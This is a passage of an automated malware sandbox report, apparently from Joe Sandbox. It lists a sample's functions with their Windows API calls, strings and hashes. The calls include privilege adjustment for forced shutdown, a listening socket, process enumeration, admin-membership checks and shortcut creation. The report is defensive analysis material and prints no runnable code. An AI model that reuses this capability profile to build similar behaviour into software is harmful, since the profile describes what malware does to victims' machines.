Instruction ID: d8dc1e4f01d113869d3e96425cc8a40c080520d1729869760264a11d51463df0
Opcode Fuzzy Hash: 72e85ba918383ba07dcb9e6a872228571ef0bec60a7213626963ac1f7f6fd37e
Instruction Fuzzy Hash: 5F31A6710083849BC700EF64C8918AFBBE8AE96319F441E2EF4D593191EB29DA0DC75B

Function 004951BD Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 59shutdownCOMMON

Download Yara Rule

APIs

Part of subcall function 004887E1: LookupPrivilegeValueW.ADVAPI32(00000000,00000000,00000004), ref: 0048882B
Part of subcall function 004887E1: AdjustTokenPrivileges.ADVAPI32(?,00000000,00000000,?,00000000,?), ref: 00488858
Part of subcall function 004887E1: GetLastError.KERNEL32 ref: 00488865

ExitWindowsEx.USER32(?,00000000), ref: 004951F9

Strings

SeShutdownPrivilege, xrefs: 004951C9
, xrefs: 004951E7
@, xrefs: 004951EC

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: AdjustErrorExitLastLookupPrivilegePrivilegesTokenValueWindows
String ID: $@$SeShutdownPrivilege
API String ID: 2234035333-194228
Opcode ID: 1389ac64059d9f966f38854e6b9750652b5e3e2ed8a67d4c3d24748c45942284
Instruction ID: fb276f45c7437fb82601d653e092b5351883d3a9bf588808ccbaadafda7ad656
Opcode Fuzzy Hash: 1389ac64059d9f966f38854e6b9750652b5e3e2ed8a67d4c3d24748c45942284
Instruction Fuzzy Hash: 720147317916012BEF2D2378AC8AFBB7A589B05741F3009BBF807E21D2D9691C018B9D

Function 004A6283 Relevance: 9.1, APIs: 6, Instructions: 84networkCOMMON

Download Yara Rule

APIs

socket.WSOCK32(00000002,00000001,00000006,?,00000002,00000000), ref: 004A62DC
WSAGetLastError.WSOCK32(00000000), ref: 004A62EB
bind.WSOCK32(00000000,?,00000010), ref: 004A6307
listen.WSOCK32(00000000,00000005), ref: 004A6316
WSAGetLastError.WSOCK32(00000000), ref: 004A6330
closesocket.WSOCK32(00000000,00000000), ref: 004A6344

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: ErrorLast$bindclosesocketlistensocket
String ID:
API String ID: 1279440585-0
Opcode ID: 95fe9e0f279773fe742e64cdd0403bff4b4be84b68a13ff7377113734321398b
Instruction ID: 22c7b883ae8742e6fd7b62595de6454f249df19f1eef59f3813cd826ac779985
Opcode Fuzzy Hash: 95fe9e0f279773fe742e64cdd0403bff4b4be84b68a13ff7377113734321398b
Instruction Fuzzy Hash: BC21D2316002009FCB10EF64CC89B6EB7A9EF59324F15426AEC1AA7391CB74AC05CB59

Function 00445520 Relevance: 8.0, APIs: 5, Instructions: 516COMMON

Download Yara Rule

APIs

Part of subcall function 00450DB6: std::exception::exception.LIBCMT ref: 00450DEC
Part of subcall function 00450DB6: __CxxThrowException@8.LIBCMT ref: 00450E01

_memmove.LIBCMT ref: 00480258
_memmove.LIBCMT ref: 0048036D
_memmove.LIBCMT ref: 00480414

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: _memmove$Exception@8Throwstd::exception::exception
String ID:
API String ID: 1300846289-0
Opcode ID: 4a3af8360bbf977dc885d52467a22fdaac40b817d8f78181060f3909674e6c39
Instruction ID: 45f29d74af2ff3999dd4e101510ba26ab4fbd4f8a7b95cf934d5c4fb9e6f92b5
Opcode Fuzzy Hash: 4a3af8360bbf977dc885d52467a22fdaac40b817d8f78181060f3909674e6c39
Instruction Fuzzy Hash: CC02F3B0A00209DBDF04DF65D9816AEBBB5EF44304F10846EE809DB352EB39DD14CB59

Function 00431287 Relevance: 7.9, APIs: 5, Instructions: 379COMMON

Download Yara Rule

APIs

Part of subcall function 00432612: GetWindowLongW.USER32(?,000000EB), ref: 00432623

DefDlgProcW.USER32(?,?,?,?,?), ref: 004319FA
GetSysColor.USER32(0000000F), ref: 00431A4E
SetBkColor.GDI32(?,00000000), ref: 00431A61

Part of subcall function 00431290: DefDlgProcW.USER32(?,00000020,?), ref: 004312D8

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: ColorProc$LongWindow
String ID:
API String ID: 3744519093-0
Opcode ID: 7c99ac3797a09dc911c8438948c31ecba3c23df8c82202df9e6a60ed9cf56039
Instruction ID: 4d3c14569f4ee6dd12b5db41083a41e3e1535c7f62f98e04615189e27c99275a
Opcode Fuzzy Hash: 7c99ac3797a09dc911c8438948c31ecba3c23df8c82202df9e6a60ed9cf56039
Instruction Fuzzy Hash: 0FA138B1106544BAE628BB294C84EBF359CDF49386F14121FF502D62B2DB2C9D42D2BF

Function 004A6747 Relevance: 7.6, APIs: 5, Instructions: 141networkCOMMON

Download Yara Rule

APIs

Part of subcall function 004A7D8B: inet_addr.WSOCK32(00000000,?,00000000,?,?,?,00000000), ref: 004A7DB6

socket.WSOCK32(00000002,00000002,00000011,?,?,00000000), ref: 004A679E
WSAGetLastError.WSOCK32(00000000), ref: 004A67C7
bind.WSOCK32(00000000,?,00000010), ref: 004A6800
WSAGetLastError.WSOCK32(00000000), ref: 004A680D
closesocket.WSOCK32(00000000,00000000), ref: 004A6821

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: ErrorLast$bindclosesocketinet_addrsocket
String ID:
API String ID: 99427753-0
Opcode ID: 78218cc9bb8ddd1da377c9693c06cd9a1aed396ae00b4a52984ae60e86ac50eb
Instruction ID: 3eea943c551ce81199ced32f1d7c18ef665f4fcd0d463b1c4c324d58abd19862
Opcode Fuzzy Hash: 78218cc9bb8ddd1da377c9693c06cd9a1aed396ae00b4a52984ae60e86ac50eb
Instruction Fuzzy Hash: EF41E9757002006FDB50BF259C86F3E77A8DF59718F04856EF919AB3C2CA789D008B99

Function 004B5376 Relevance: 7.6, APIs: 5, Instructions: 69windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32 ref: 004B53C5
IsWindowEnabled.USER32 ref: 004B53D3
GetForegroundWindow.USER32(?,?,00000001), ref: 004B53E0
IsIconic.USER32 ref: 004B53EE
IsZoomed.USER32 ref: 004B53FC

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: Window$EnabledForegroundIconicVisibleZoomed
String ID:
API String ID: 292994002-0
Opcode ID: 5da4ff96d34a32415e7824ed71b4978bf7a552f9bfd541a97d6a4b92574d6dab
Instruction ID: 897116ba3bd85d51b5b1eeab5d136dbae17226b8cad7d179d996eb52ee87043f
Opcode Fuzzy Hash: 5da4ff96d34a32415e7824ed71b4978bf7a552f9bfd541a97d6a4b92574d6dab
Instruction Fuzzy Hash: 241193317005116BD7216F269C44B9FBBD8EF447A1B55543AEC49D3341CBB89C028ABC

Function 004880A9 Relevance: 7.5, APIs: 5, Instructions: 45memoryCOMMON

Download Yara Rule

APIs

GetTokenInformation.ADVAPI32(?,00000002,?,00000000,?), ref: 004880C0
GetLastError.KERNEL32(?,00000002,?,00000000,?), ref: 004880CA
GetProcessHeap.KERNEL32(00000008,?,?,00000002,?,00000000,?), ref: 004880D9
HeapAlloc.KERNEL32(00000000,?,00000002,?,00000000,?), ref: 004880E0
GetTokenInformation.ADVAPI32(?,00000002,00000000,?,?,?,00000002,?,00000000,?), ref: 004880F6

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: HeapInformationToken$AllocErrorLastProcess
String ID:
API String ID: 44706859-0
Opcode ID: 1bdfed05c46f7c5d0e35ac6c0b728090418c1d69978cd3710dcda7b0c950d654
Instruction ID: 79b10365de94e5e8e3486bf7d69b55f0d12b009a78aa809d51c1af920b8986cb
Opcode Fuzzy Hash: 1bdfed05c46f7c5d0e35ac6c0b728090418c1d69978cd3710dcda7b0c950d654
Instruction Fuzzy Hash: EBF0C270200215BFEB102FA9EC8CE6B3BACEF49754B40053AF909D2260CF609C05DB64

Function 0049C397 Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 279comCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 0049C432
CoCreateInstance.OLE32(004C2D6C,00000000,00000001,004C2BDC,?), ref: 0049C44A

Part of subcall function 00437DE1: _memmove.LIBCMT ref: 00437E22

CoUninitialize.OLE32 ref: 0049C6B7

Strings

.lnk, xrefs: 0049C3C6, 0049C3EE, 0049C3F8

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: CreateInitializeInstanceUninitialize_memmove
String ID: .lnk
API String ID: 2683427295-24824748
Opcode ID: 45906759ee55bd5b4e56c6fa622e5a2e768e082983745796de67b80fccacf2f4
Instruction ID: 818feba47952e1ccbcf2b1bf7275d2464afe948409f7fa354146054ea12b4a5f
Opcode Fuzzy Hash: 45906759ee55bd5b4e56c6fa622e5a2e768e082983745796de67b80fccacf2f4
Instruction Fuzzy Hash: 47A13CB1108205AFD700EF55C881EAFB7E8EF89358F00492EF15597192DBB5EE09CB56

Function 00434B37 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 18libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll,?,00434AD0), ref: 00434B45
GetProcAddress.KERNEL32(00000000,GetNativeSystemInfo), ref: 00434B57

Strings

GetNativeSystemInfo, xrefs: 00434B51
kernel32.dll, xrefs: 00434B40

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: GetNativeSystemInfo$kernel32.dll
API String ID: 2574300362-192647395
Opcode ID: 3b4dccef4a982dd2c3de7519b0afb3be757c25e23bccc5c076cbefe684688332
Instruction ID: 8a32a04e7db704ab49d8b0ec5992bddd280d08e45470e6f83909cc0daf9cda9d
Opcode Fuzzy Hash: 3b4dccef4a982dd2c3de7519b0afb3be757c25e23bccc5c076cbefe684688332
Instruction Fuzzy Hash: 36D0EC34A10712CFD7209B39DC28B86B6D4AF45351B21893A9499D6650D778F884C66C

Function 004AEE0D Relevance: 6.2, APIs: 4, Instructions: 164processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 004AEE3D
Process32FirstW.KERNEL32(00000000,?), ref: 004AEE4B

Part of subcall function 00437DE1: _memmove.LIBCMT ref: 00437E22

Process32NextW.KERNEL32(00000000,?), ref: 004AEF0B
CloseHandle.KERNEL32(00000000,?,?,?), ref: 004AEF1A

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32_memmove
String ID:
API String ID: 2576544623-0
Opcode ID: b413e34651b1c8394fb5600a8659ee1695dc55d794d80c6120c6efd9d8dec532
Instruction ID: 41ccc6553a74aaf92ba2f11ad0535ff8a201547e20b3b4fed157f39afa418838
Opcode Fuzzy Hash: b413e34651b1c8394fb5600a8659ee1695dc55d794d80c6120c6efd9d8dec532
Instruction Fuzzy Hash: A751A1B1504300AFD320EF25DC81E6BB7E8EF99714F10492EF595972A1EB74AD08CB96

Function 0048E616 Relevance: 5.1, APIs: 1, Strings: 2, Instructions: 561stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(?,?,?,00000000), ref: 0048E628

Strings

|, xrefs: 0048E658
(, xrefs: 0048E66E

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: lstrlen
String ID: ($|
API String ID: 1659193697-1631851259
Opcode ID: 31c32615d0123bb0c7e2c36f4f2ced55e8dd7f2f1ce382a6280a7d864f0b0d4a
Instruction ID: 22b2dd8cf51e92b49bf98f3fba5adee8ae8b73a113321c8517d182a1b669106c
Opcode Fuzzy Hash: 31c32615d0123bb0c7e2c36f4f2ced55e8dd7f2f1ce382a6280a7d864f0b0d4a
Instruction Fuzzy Hash: 92323475A007059FDB28DF1AC48196AB7F0FF48320B15C86EE89ADB3A1E774E941CB44

Function 004A22EE Relevance: 4.7, APIs: 3, Instructions: 164networkfileCOMMON

Download Yara Rule

APIs

InternetQueryDataAvailable.WININET(00000001,?,00000000,00000000,00000000,?,?,?,?,?,?,?,?,004A180A,00000000), ref: 004A23E1
InternetReadFile.WININET(00000001,00000000,00000001,00000001), ref: 004A2418

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: Internet$AvailableDataFileQueryRead
String ID:
API String ID: 599397726-0
Opcode ID: d78afe4572322f3acd911b1cee69d646ebf219242cd37472d8bab35a81c4e23e
Instruction ID: 0cdcbf05e7ce2c072d3d8187994bf3b1292e9d111cf5978293426fcf2b320c73
Opcode Fuzzy Hash: d78afe4572322f3acd911b1cee69d646ebf219242cd37472d8bab35a81c4e23e
Instruction Fuzzy Hash: 4B413771504209BFEF10DEA9CE81EBB77BCEB52314F10406FFA00A6241DABC9E41A758

Function 0049B333 Relevance: 4.6, APIs: 3, Instructions: 73COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001), ref: 0049B343
GetDiskFreeSpaceExW.KERNEL32(?,?,?,?), ref: 0049B39D
SetErrorMode.KERNEL32(00000000,00000001,00000000), ref: 0049B3EA

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: ErrorMode$DiskFreeSpace
String ID:
API String ID: 1682464887-0
Opcode ID: 27df176a4230bccca11de6534a895865efc3f2dc413fd48a8d7ab1721c083f91
Instruction ID: cd2d5f1d38bdddb2ebe230febfbcea1e8a4d0b5683c1f016cc3888ad1ab12c32
Opcode Fuzzy Hash: 27df176a4230bccca11de6534a895865efc3f2dc413fd48a8d7ab1721c083f91
Instruction Fuzzy Hash: 18215E35A00108EFCB00EFA5D885AEDBBB8FF49314F1481AAE905AB351CB359D19CB55

Function 004887E1 Relevance: 4.6, APIs: 3, Instructions: 67COMMON

Download Yara Rule

APIs

Part of subcall function 00450DB6: std::exception::exception.LIBCMT ref: 00450DEC
Part of subcall function 00450DB6: __CxxThrowException@8.LIBCMT ref: 00450E01

LookupPrivilegeValueW.ADVAPI32(00000000,00000000,00000004), ref: 0048882B
AdjustTokenPrivileges.ADVAPI32(?,00000000,00000000,?,00000000,?), ref: 00488858
GetLastError.KERNEL32 ref: 00488865

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: AdjustErrorException@8LastLookupPrivilegePrivilegesThrowTokenValuestd::exception::exception
String ID:
API String ID: 1922334811-0
Opcode ID: 591e55f36c58ff1ca9e89c490ea7aa250a08587bd57758adf6f185c81fc63d6f
Instruction ID: 44fd6b5978381c4223981471ae481d606672576ee99ce7c730e5d2371ed90c61
Opcode Fuzzy Hash: 591e55f36c58ff1ca9e89c490ea7aa250a08587bd57758adf6f185c81fc63d6f
Instruction Fuzzy Hash: B911BFB2404205AFE718EFA4DC85D2BB7F8EB04311B60852EF85593212EB34BC048B64

Function 0048874B Relevance: 4.5, APIs: 3, Instructions: 43memoryCOMMON

Download Yara Rule

APIs

AllocateAndInitializeSid.ADVAPI32(?,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,?), ref: 00488774
CheckTokenMembership.ADVAPI32(00000000,?,?), ref: 0048878B
FreeSid.ADVAPI32(?), ref: 0048879B

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: AllocateCheckFreeInitializeMembershipToken
String ID:
API String ID: 3429775523-0
Opcode ID: 386ceebf5b5a27f8f372b48027186c2ba5ab66a2918bc483bd29f37b3549962c
Instruction ID: e367b31ae513eb1ebf8fbe74008512d53d981ee92f636ef93e22fb0967879789
Opcode Fuzzy Hash: 386ceebf5b5a27f8f372b48027186c2ba5ab66a2918bc483bd29f37b3549962c
Instruction Fuzzy Hash: 90F04F7595130CBFDF00DFF4DC89AAEB7BCEF08201F504579A505E2191D6756A488B54

Function 00498889 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 68COMMON

Download Yara Rule

APIs

__time64.LIBCMT ref: 0049889B

Part of subcall function 0045520A: GetSystemTimeAsFileTime.KERNEL32(00000000,?,?,?,00498F6E,00000000,?,?,?,?,0049911F,00000000,?), ref: 00455213
Part of subcall function 0045520A: __aulldiv.LIBCMT ref: 00455233

Strings

0eO, xrefs: 00498892

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: Time$FileSystem__aulldiv__time64
String ID: 0eO
API String ID: 2893107130-633601889
Opcode ID: 87a85016b41be3342b1ea848f0d837c71bf747edc38200afd93f0f845cf9d770
Instruction ID: 322450015eccb100fb1152b0f8b4275a8a9636f91a9386166dc1aea2a12f82a7
Opcode Fuzzy Hash: 87a85016b41be3342b1ea848f0d837c71bf747edc38200afd93f0f845cf9d770
Instruction Fuzzy Hash: 7521B4326355108BC729CF29D841A62B7E1EFA5311B698E7DD1F5CB2D0CB34B905CB58

Function 0049C6D1 Relevance: 3.1, APIs: 2, Instructions: 52fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?), ref: 0049C6FB
FindClose.KERNEL32(00000000), ref: 0049C72B

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID:
API String ID: 2295610775-0
Opcode ID: 4e51ee8064c0f90d3612b502c40801a4b426e762f04c7ae9d056d0d996c1f545
Instruction ID: 052eea4fec4336a2f994dad91ef24d4591c447ea34191900e320a19b3586a6a2
Opcode Fuzzy Hash: 4e51ee8064c0f90d3612b502c40801a4b426e762f04c7ae9d056d0d996c1f545
Instruction Fuzzy Hash: B01182716102009FDB14EF29D88592AF7E4EF85324F00856EF8A987290DB74AC05CF85

Function 0049A06A Relevance: 3.0, APIs: 2, Instructions: 31windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00000000,?,00000FFF,00000000,00000016,?,004A9468,?,004BFB84,?), ref: 0049A097
FormatMessageW.KERNEL32(00001000,00000000,000000FF,00000000,?,00000FFF,00000000,00000016,?,004A9468,?,004BFB84,?), ref: 0049A0A9

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
